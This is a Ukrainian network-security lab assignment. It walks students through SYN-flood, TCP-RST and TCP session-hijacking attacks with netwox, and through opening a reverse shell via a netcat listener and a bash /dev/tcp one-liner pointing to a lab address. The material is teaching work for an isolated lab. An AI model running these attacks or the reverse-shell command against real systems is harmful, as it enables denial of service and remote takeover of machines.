Скачиваний:
99
Добавлен:
23.10.2019
Размер:
134.99 Кб
Скачать

Примітка 2: зверніть увагу на можливість комбінувати шістнадцяткові числа та закодовані в ASCII символи для параметра --tcp-data.

3 Завдання до лабораторної роботи

Лабораторна робота складається з чотирьох завдань. У перших трьох розбираються три атаки: SYN-flood, TCP-RST та TCP Session Hijacking. Четверте завдання полягає у використанні останньої атаки для отримання повноцінного доступу до комп’ютера-жертви.

3.1 SYN-flood

Завданням студента є використати утиліту netwox 40 для проведення SYNflood атаки на комп’ютер-жертву. Це має призвести до відмови обслуговування SSHчи TELNET-сервера на комп’ютері-жертві.

Для цього потрібно запустити netwox 40 з такими параметрами, щоб атакувати сервіс SSH чи TELNET на комп’ютері victim, а потім спробувати зайти на нього з комп’ютера observer. Останнє має не вдаватися доки netwox 40 запущений. Також можна переглянути статистику по сокетам за допомогою утиліти ss. Вона має вивести значну кількість сокетів на стадії SYN-RECV (SYN received — SYN отриманий).

Дана атака можлива за рахунок того, що на кожен SYN-пакет сервер відповідає пакетом SYN-ACK, зберігаючи дані про частково відчинене TCP- з’єднання у черзі. Посилаючи велику кількість SYN-пакетів, зловмисник може заповнити цю чергу і всі подальші з’єднання користувачів будуть відкидатися, доки не з’явиться вільне місце у ній.

У ядрі Linux за розмір черги відповідає опція net.ipv4.tcp_max_syn_backlog. Її значення можна переглянути за допомогою команди sysctl:

# sysctl net.ipv4.tcp_max_syn_backlog

Однак для боротьби з цією атакою в ядро Linux вбудований спеціальний механізм, що вмикається опцією net.ipv4.tcp_syncookies. За замовчуванням у Debian він увімкнений, однак для потреб даної лабораторної він був вимкнений на комп’ютері victim. Для порівняння його можна увімкнути наступною командою:

# sysctl net.ipv4.tcp_syncookies=1

3.2 TCP-RST

Для цього завдання потрібно використати утиліту netwox 78 для проведення TCP-RST атаки, для блокування всього TCP-трафіку в мережі до хоста-жертви. Таким чином, observer не зможе з’єднатися з victim через SSH чи TELNET. Точніше кожне з’єднання буде миттєво розірване.

Для виконання цієї атаки важливо, щоб комп’ютери у локальній мережі були під’єднані через комутатор першого рівня, оскільки у інакшому випадку netwox 78 не зможе відловити трафік між observer та victim.

3.3 TCP Session Hijacking

Для виконання цього завдання необхідно відкрити TELNET-з’єднання між observer та victim та за допомогою утиліти netwox 40 “втрутитись” у їх сесію, надіславши якусь потенційно шкідливу команду комп’ютеру-жертві. Бажано, що її успішне виконання було добре помітно, наприклад: shutdown -h now, reboot, poweroff тощо.

Для успішного проведення цієї атаки потрібно паралельно запустити Wireshark, відловити TCP-трафік між observer і victim. Це допоможе визначити правильні параметри для --tcp-seqnum, --tcp-acknum, --tcp-win, оскільки пакети з неправильними параметрами, скоріш за все, будуть просто відкинуті.

Також потрібно не забути у полі даних після потрібної команди додати символ перенесення каретки (\x0D) та нового рядка (\x0A). Це позначає ввід команди в командну оболонку, запущеній через telnet.

3.4 Відкриття зворотньої командної оболонки

Викликати netwox 40 для кожної команди досить складно. Саме тому наступним завданням є відкриття зворотньої командної оболонки з комп’ютеражертви до атакуючого. Це щось на зразок TELNET-сесії від victim до attacker, але без використання TELNET-сервісу чи TELNET-клієнта.

Для цього на комп’ютері атакуючого потрібно слухати з’єднання на певному порту і під’єднати його до командної оболонки (щоб введені у командну оболонку дані передавалися по мережі через це з’єднання, а отримані з мережі дані відображались у ній). Найпростіше для цього використовувати утиліту netcat. Наприклад, зробити це для порта 9000 можна наступною командою:

# nc -l -p 9000 -v

Після цього треба запустити командну оболонку і ініціювати з’єднання з комп’ютера-жертви. Для цього на ньому потрібно викликати наступну команду:

# /bin/bash > /dev/tcp/10.0.0.1/9000 0<&1 2>&1

де 10.0.0.1 — це Ipv4-адреса хоста, на якому запущений netcat,

9000 — порт, на якому слухає netcat.

Після запуску цієї команди на комп’ютері-жертві, netcat перетвориться на щось, подібне до TELNETчи SSH-сесії.

3.5 Розробка подібної до netwox утиліти

Netwox це чудова утиліта, однак її функціоналу, цілком важливо, може бути недостатнім у певних випадках. Також важливе знання того, як працюють подібні утиліти, не лише для виконанння нестандартних завдань, пов’язаних з безпекою мереж, а й для розуміння механізмів, за рахунок яких можливий збір трафіку, генерація мережевих пакетів, а також це практичні навики низькорівневої роботи з пакетами TCP/IP та Ethernet-кадрами.

Утиліта може бути написана любою мовою програмування, доступною для ОС GNU/Linux. Вона має реалізовувати TCP-RST атаку.

Для збору TCP-трафіку потрібно створити raw-сокет і в циклі викликати системний виклик recvfrom. Отримавши пакет його потрібно пропарсити, і згенерувати відповідь на нього зі встановленим прапорцем RST.

Детальнішу інформацію і приклад можна знайти за посиланням[4].